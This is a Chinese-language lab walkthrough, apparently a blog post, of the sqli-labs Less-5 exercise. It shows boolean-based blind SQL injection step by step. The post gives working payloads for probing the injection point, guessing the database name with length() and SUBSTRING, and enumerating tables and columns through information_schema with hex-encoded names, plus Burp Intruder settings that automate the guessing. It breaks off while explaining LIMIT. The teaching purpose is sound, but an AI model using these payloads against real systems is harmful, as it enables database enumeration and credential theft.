less-5

注入點與注入型態測試:

1' and 1=1 --+ 顯示正常

1' and 1=2 --+ 顯示異常

代表原本的查詢語句是

select username,password feom the table where id = '參數'

1' and 1=2 union select null,null,null --+ 顯示正常

1' union select null,null,null --+ 也會顯示正常

但1' and 1=2 union select null,'text',null --+還是無法顯示text字樣(無法回顯)。在輸入的東西確實可以查到時，會顯示You are in...，否則不會顯示。所以需要使用盲注(blind sql injection)技術，無法使用union攻擊，因為看不到字，只能用是否能正常顯示You are in...來判斷有沒有猜對。

正式注入

猜資料庫的名稱有多長:

1' and length(database())='8' --+

直到8才能正常顯示。

猜目前所在的資料庫的名稱:

1' AND (SELECT SUBSTRING(database(), 1, 1)) = 's'--+

SUBSTRING (str, pos, len)的意思是由 str中的第 pos 位置開始，選出接下去的 len 個字元。

所以上面payload的意思，是目前所在的資料庫的名稱的第一個字元(第一個粗體字)是不是s(第二個粗體字)。當然，可以用burp來暴力破解，不用一個一個英文字測。

雙變數暴力破解步驟:

在網址上id=後面輸入以上Payload，並開啟intercept on，重新整理網頁後burp會出現如下畫面:

按右鍵選擇send to intruder如上圖，會出現畫面如下:

把上圖紅底線處給反藍，並按旁邊的Add$如下圖:

喔對了，attack type要選Cluster bomb:

接下來就可以切到Payload設定這兩個變數要怎麼跑，設定如下:

第一個變數是位置1-8:

第二個變數是英文字、數字，如果要保險一點可以在Character這加上一些特殊符號:

猜測結果如下，如果是猜對的，它的response的Length會比其他網頁短，大概965或966。

上面的Payload 1就是第一個粗體字，Payload 2就是第二個粗體字。比如說Payload 1 = 3且Payload 2 = c，代表目前資料庫的第三個字是c。所以可以拼湊出這個資料庫名稱是security。

猜security的第一個table名稱
1' and substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1,1) = 'e' --+

要注意上述的語句。第一個粗體數字代表現在是在猜DB的第幾個table，第二個粗體數字代表是這個table名稱的第幾個字。

暴力破解後，可以看到第一個table結果如下圖，可以發現大小寫不影響。

注意上面的0x7365637572697479。因為發現如果直接寫security會無法執行，所以需要編碼成ASCII Hex，轉碼方式如下圖

同樣的語句可以去猜第2-4個table名稱，以下是設定步驟:

接下來的暴力猜解結果如下圖，Payload 1代表第幾個table(從0開始算)，Payload 2是第幾個字，Payload 3是Payload 2這位置的英文字，所以下面這張圖代表第二個table叫referers。

下面這張圖代表第三個table叫uagents。

下面這張圖代表第四個table叫users。

現在已知這個DB的所有table，有可能會有帳密的table大概就是users，所以接下來就是去猜users這個table的所有column名字跟column內容。

步驟如下:

table裡有幾個column? (橫軸數量)

1' and (SELECT count(*) FROM information_schema.columns WHERE table_schema = 0x7365637572697479 AND table_name = 0x7573657273) = 3 --+

其中粗體的字就是橫軸數量。除了0x7365637572697479是DB名字security以外，0x7573657273就是table名稱。參考網站:

( https://blog.csdn.net/qingluoII/article/details/71479686 )

接下來是要猜user這個table裡的column有哪些，名字是什麼:

1' and substr((select column_name from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479 limit 0,1),2,1)='d' --+

這裡解釋一下limit是什麼，參考:

( https://www.jinnsblog.com/2013/07/mysql-limit-offset-syntax-example.html )

假設一個叫DemoTable的table長這樣:

如果查詢語句是select * from DemoTable order by id limit 5，代表限制回傳回幾筆，limit 5代表只回傳5筆，結果如下:

如果查詢語句是select * from DemoTable order by id limit 2,4(或是select * from DemoTable order by id limit 4 offset 2)，代表會傳回從第3筆(2+1，因為index是從0開始算)資料開始的4筆(offset)資料，結果如下: